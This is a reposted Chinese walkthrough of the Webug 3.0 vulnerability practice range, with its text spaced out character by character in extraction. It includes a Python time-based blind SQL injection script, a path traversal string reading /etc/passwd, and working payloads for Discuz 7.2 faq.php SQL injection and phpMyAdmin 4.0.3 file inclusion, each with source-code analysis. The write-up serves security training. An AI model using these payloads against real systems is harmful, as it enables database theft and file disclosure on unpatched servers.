搜索

[11976] 2017-11-05_我们的漏洞Webug3.0中级进阶攻略（上）

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2017-11-05_我们的漏洞Webug3.0中级进阶攻略（上） 我 们 的 漏 洞 W e b u g   3 . 0 中 级 进 阶 攻 略 （ 上 ） 原 创   小 石   F r e e B u f   2 0 1 7 - 1 1 - 0 5 W e B u g 名 称 定 义 为 名 称 定 义 为 “ 我 们 的 漏 洞 我 们 的 漏 洞 ” 靶 场 环 境 。 基 础 环 境 是 基 于 靶 场 环 境 。 基 础 环 境 是 基 于 P H P / m y s q l 制 作 搭 建 而 成 ， 中 级 环 境 与 高 级 环 境 分 制 作 搭 建 而 成 ， 中 级 环 境 与 高 级 环 境 分 别 都 是 由 互 联 网 漏 洞 事 件 而 收 集 的 漏 洞 存 在 的 操 作 环 境 。 部 分 漏 洞 是 基 于 别 都 是 由 互 联 网 漏 洞 事 件 而 收 集 的 漏 洞 存 在 的 操 作 环 境 。 部 分 漏 洞 是 基 于 W i n d o w s 操 作 系 统 的 漏 洞 所 以 将 操 作 系 统 的 漏 洞 所 以 将 W e B u g 的 的 w e b 环 境 都 装 在 了 一 个 纯 净 版 的 环 境 都 装 在 了 一 个 纯 净 版 的 W i n d o w s   2 0 0 3 的 虚 拟 机 中 。 的 虚 拟 机 中 。 这 次 带 来 W e b u g 3 . 0 中 级 进 阶 上 部 分   借 鉴 了 很 多 前 辈 的 文 章   有 些 关 卡 可 能 是 本 身 环 境 配 置 的 问 题   无 法 复 现 漏 洞   或 者 我 姿 势 不 对   如 果 有 做 出 的 大 佬 可 以 补 充 一 下 ~ 中 级 进 阶 中 级 进 阶 — — 上 上 第 一 关 ： 出 来 点 东 西 吧 第 一 关 ： 出 来 点 东 西 吧   . . / . . / e t c / p a s s w d . . / . . / e t c / p a s s w d   提 示 了 可 能 是 要 读 取 文 件   同 时 w e b u g 是 个 w i n d o w s   2 0 0 3 的 虚 拟 机   也 不 存 在 / e t c / p a s s w d 开 始 无 论 选 择 什 么 国 点 g o   啥 都 没 有 点 纳 闷   仅 仅 后 面 的 c o u n t r y 变 了 后 来 一 看 源 码 发 现 路 径 是 路 径 写 的 不 对 . .
把 c c 目 录 下 的 几 个 文 件 移 到 上 级 目 录   选 择 世 界 就 会 正 常 显 示 出 图 片 了 这 关 就 是 一 个 任 意 文 件 读 取 的 漏 洞   跨 目 录 读 取 了 主 页 文 件 i n d e x . h t m l 看 了 源 文 件 没 发 现 哪 里 有 f l a g   可 能 题 目 没 完 善 或 是 我 没 找 到   总 之 就 是 一 个 任 意 文 件 读 取 漏 洞
第 二 关 ： 提 交 的 方 式 是 怎 样 的 啊 ？ 第 二 关 ： 提 交 的 方 式 是 怎 样 的 啊 ？   p a s s ！ ！ 这 回 不 用 改 也 显 示 正 常 了   点 餐 就 直 接 出 来 了 图 片   这 回 u r l 后 面 没 有 带 参 数 了 根 据 关 卡 “ 提 交 的 方 式 是 怎 样 的 啊 ”   那 就 是 p o s t 了   后 来 抓 包 也 证 实 了 这 点
一 样 是 一 个 任 意 文 件 读 取 漏 洞   不 过 换 成 了 p o s t 方 式   目 的 让 大 家 认 识 这 个 漏 洞 第 三 关 ： 我 还 是 一 个 注 入 第 三 关 ： 我 还 是 一 个 注 入   怎 么 又 怎 么 又 T M 注 入 注 入 题 目 说 又 是 注 入   没 有 参 数 可 注   就 想 到 了 头 部 注 入   但 无 奈 水 平 过 低   无 法 注 入   只 好 看 源 码 发 现 原 来 是 h o s t 头 注 入   实 在 是 没 想 到 啊 知 道 了 就 好 办 了   跟 普 通 注 入 一 样 的 来   得 到 列 长 为 4
得 到 表 名 最 后 得 到 f l a g 第 四 关 ： 第 四 关 ： A P K 里 面 有 一 个 里 面 有 一 个 F L A G   看 看 看 看 A P K a p k 用 a n d r o i d   k i l l e r 打 开   不 是 很 懂 a p k 逆 向 也 大 致 看 了 一 下   把 这 四 个 b a s e 6 4 解 密 好 像 就 是 f l a g 了 或 者 点 击 a p k 里 面 的 按 钮 三 百 下   就 会 给 出 f l a g 第 五 关 ： 时 间 注 入 第 五 关 ： 时 间 注 入   时 间 注 入 时 间 注 入
提 示 加 t y p e 参   g e t 型 时 间 盲 注 用 s l e e p ( ) 来 确 认 是 否 是 时 间 盲 注   如 果 是   则 延 时 x 秒 执 行   不 是 则 立 即 返 回 手 工 盲 注 就 太 累 了   照 网 上 的 代 码   写 了 一 个 时 间 盲 注 的 p y t h o n 脚 本 自 动 跑 出 库 名   表 名 和 列 名 改 改 p a y l o a d 也 是 一 样 可 以 跑 出 来 的 实 战 练 习 ： 实 战 练 习 ： D Z 论 坛 论 坛   注 入 注 入 好 像 配 置 有 点 问 题 还 是 咋 的 =   =   无 法 复 现 # e n c o d i n g = u t f - 8   # 时 间 盲 注 脚 本 i m p o r t   r e q u e s t s i m p o r t   t i m e p a y l o a d s   =   ' q w e r t y u i o p a s d f g h j k l z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M 0 1 2 3 4 5 6 7 8 9 @ _ . } { , ' # 存 放 跑 出 的 结 果 l e n g t h = 0 d a t a b a s e = ' ' t a b l e = ' ' p r i n t   ' s t a r t   g e t   l e n g t h . . . ' f o r   l   i n   r a n g e ( 1 , 2 1 ) :         s t a r t T i m e 1 = t i m e . t i m e ( )         u r l 1   =   " h t t p : / / 1 9 2 . 1 6 8 . 3 7 . 1 4 7 / p e n t e s t / t e s t / t i m e / ? t y p e = 1   a n d   i f ( l e n g t h ( d a t a b a s e ( ) ) = % d , s l e e p ( 5 ) , 1 ) " % ( l )         r e s p o n s e 1   =   r e q u e s t s . g e t ( u r l 1 )         i f   t i m e . t i m e ( )   -   s t a r t T i m e 1   >   5 :                 l e n g t h = l                 p r i n t   " t h e   l e n g t h   i s   "   +   s t r ( l e n g t h )                 b r e a k p r i n t   ' s t a r t   d a t a b a s e   s q l   i n j e c t i o n . . . ' f o r   d   i n   r a n g e ( 1 , l e n g t h + 1 ) :         f o r   p a y l o a d   i n   p a y l o a d s :                 s t a r t T i m e 2 = t i m e . t i m e ( )                 u r l 2   =   " h t t p : / / 1 9 2 . 1 6 8 . 3 7 . 1 4 7 / p e n t e s t / t e s t / t i m e / ? t y p e = 1   a n d   i f ( s u b s t r ( d a t a b a s e ( ) , ' % d ' , 1 ) = ' % s ' , s l e e p ( 5 ) , 1 ) " % ( d , p a y l o a d )                 r e s p o n s e 2   =   r e q u e s t s . g e t ( u r l 2 )   # 发 送 请 求                 i f   t i m e . t i m e ( )   -   s t a r t T i m e 2   >   5 :   # 判 断 是 否 延 时 了 5 秒   也 就 是   是 否 执 行 了 函 数 s l e e p ( 5 )                         d a t a b a s e + = p a y l o a d                         p r i n t   d a t a b a s e                         b r e a k p r i n t   " t h e   d a t a b a s e   i s   "   +   d a t a b a s e
于 是 在 本 地 自 行 搭 建 了 一 个 d z 7 . 2 的 环 境 需 要 的 环 境 小 伙 伴 自 取 （ 均 从 网 上 搜 集 ） ： （ 阅 读 原 文 获 取 云 盘 链 接 ） M y S Q L   D u p l i c a t e   e n t r y 报 错 注 入     P o C ： 问 题 发 生 在 f a q . p h p   1 4 8 行 开 始 1 8 5 行 定 义 了 一 个 数 组 g r o u p i d s ， 然 后 遍 历 同 样 是 数 组 的 g i d s ， 将 数 组 中 所 有 值 的 第 一 位 取 出 来 放 在 g r o u p i d s 中 。 d z 在 全 局 会 对 g e t 传 递 过 来 的 数 组 用 函 数 a d d s l a s h e s 进 行 转 义 ， 单 引 号   ‘   会 被 转 义 成   ’   。 而   $ g r o u p i d s [ ]   =   $ r o w [ 0 ]   又 取 了 字 符 串 的 第 一 个 字 符 ， 也 就 是 把     转 义 符 号 给 取 出 来 了 。 f a q . p h p ? a c t i o n = g r o u p p e r m i s s i o n & g i d s [ 9 9 ] = % 2 7 & g i d s [ 1 0 0 ] [ 0 ] = % 2 9 % 2 0 a n d % 2 0 % 2 8 s e l e c t % 2 0 1 % 2 0 f r o m % 2 0 % 2 8 s e l e c t % 2 0 c o u n t % 2 8 * % 2 9 , c o n c a t % 2 8 v e r s i o n % 2 8 % 2 9 , f l o o r % 2 8 r a n d % 2 8 0 % 2 9 * 2 % 2 9 % 2 9 x % 2 0 f r o m % 2 0 i n f o r m a t i o n _ s c h e m a . t a b l e s % 2 0 g r o u p % 2 0 b y % 2 0 x % 2 9 a % 2 9 % 2 3
再 到 1 9 0 行 末 尾   对   g r o u p i d s   用 i m p l o d e i d s 函 数 进 行 了 处 理 在   / i n c l u d e / g l o b a l . f u n c . p h p 中   6 7 2 行   看 到 i m p l o d e i d s 函 数 如 果 数 组 不 为 空 就 将 其 用   ‘ , ’   分 隔 开 ， 就 好 像 1 2 3 4 返 回 ’ 1 ’ , ’ 2 ’ , ’ 3 ’ , ’ 4 ’ 但 前 面 取 出 了 一 个     转 义 符 号 就 变 成 了 ‘ 1 ’ , ’ ’ , ’ 3 ’ , ’ 4 ’ 第 4 个 单 引 号 就 被 转 义 了 ， 第 3 个 单 引 号 就 与 第 5 个 单 引 号 闭 合 了 ， 那 么 “ 3 ” 就 逃 逸 出 了 单 引 号 的 限 制 ， 产 生 了 注 入 。 f a q . p h p ? g i d s [ x ] = ’ & g i d s [ x + 1 ] [ u i d ] = s q l   如 此 构 造 就 可 以 突 破 安 全 处 理 实 战 练 习 ： 实 战 练 习 ： A S P C M S   注 入 注 入 怎 么 都 搭 建 不 起 来 。 。 头 皮 发 麻 i n g 实 战 练 习 ： 实 战 练 习 ： p h p M y A d m i n   任 意 文 件 包 含 漏 洞 任 意 文 件 包 含 漏 洞 不 知 为 啥 给 的 环 境 报 错 …   干 脆 自 己 本 地 搭 建 了 一 个   p h p M y a d m i n   4 . 0 . 3   +   p h p   5 . 2 . 1 7 p h p M y A d m i n 下 载 地 址 h t t p : / / p a n . b a i d u . c o m / s / 1 d E Y o 9 z j P o C t o k e n 登 录 进 去 就 会 给 ， 是 p h p M y A d m i n 的 C S R F 防 御 机 制 。 g i s _ d a t a [ g i s _ t y p e ] = f i l e % 0 0   f i l e 替 换 为 要 包 含 的 文 件 路 径 实 际 文 件 路 径 为   . / l i b r a r i e s / g i s / p m a _ g i s _ f i l e 注 意 % 0 0 截 断 f u n c t i o n   i m p l o d e i d s ( $ a r r a y )   {         i f ( ! e m p t y ( $ a r r a y ) )   {                 r e t u r n   " ' " . i m p l o d e ( " ' , ' " ,   i s _ a r r a y ( $ a r r a y )   ?   $ a r r a y   :   a r r a y ( $ a r r a y ) ) . " ' " ;         }   e l s e   {                 r e t u r n   ' ' ;         } } h t t p : / / l o c a l h o s t / p m a 4 . 0 . 3 / g i s _ d a t a _ e d i t o r . p h p ? t o k e n = 4 f 4 b 3 e e 0 7 f f c 8 4 e 6 b b e f 6 2 4 9 3 1 a e 6 9 9 9 & g i s _ d a t a [ g i s _ t y p e ] = / . . / . . / a d v i s o r y _ r u l e s . t x t % 0 0
首 先 来 到   l i b r a r i e s g i s p m a _ g i s _ f a c t o r y . p h p   2 9 行 接 收 到   t y p e   参 数 之 后 再 第 3 3 行   转 换 成 小 写 并 赋 值 给 了   t y p e _ l o w e r   ， 并 在 下 面 拼 接 成 路 径 进 行 i n c l u d e _ o n c e 再 来 到 根 目 录 下 的 g i s _ d a t a _ e d i t o r . p h p
第 2 8 行   $ _ R E Q U E S T [ ‘ g i s _ d a t a ’ ]   获 取 到 g i s _ d a t a ， 第 4 4 行 如 果   $ g i s _ d a t a [ ‘ g i s _ t y p e ’ ]   存 在 ， 则 直 接 来 到 6 0 行 ， 赋 值 给 g e o m _ t y p e ， 并 传 入 了 P M A _ G I S _ F a c t o r y : : f a c t o r y 函 数 。 一 句 话 来 说 就 是 因 为 将   $ g i s _ d a t a [ ‘ g i s _ t y p e ’ ]   拼 接 进 了 路 径 并 进 行 了 i n c l u d e _ o n c e 中 ， 造 成 了 任 意 文 件 包 含 漏 洞 。 * 本 文 原 创 作 者 ： 小 石 ， 本 文 属 本 文 原 创 作 者 ： 小 石 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理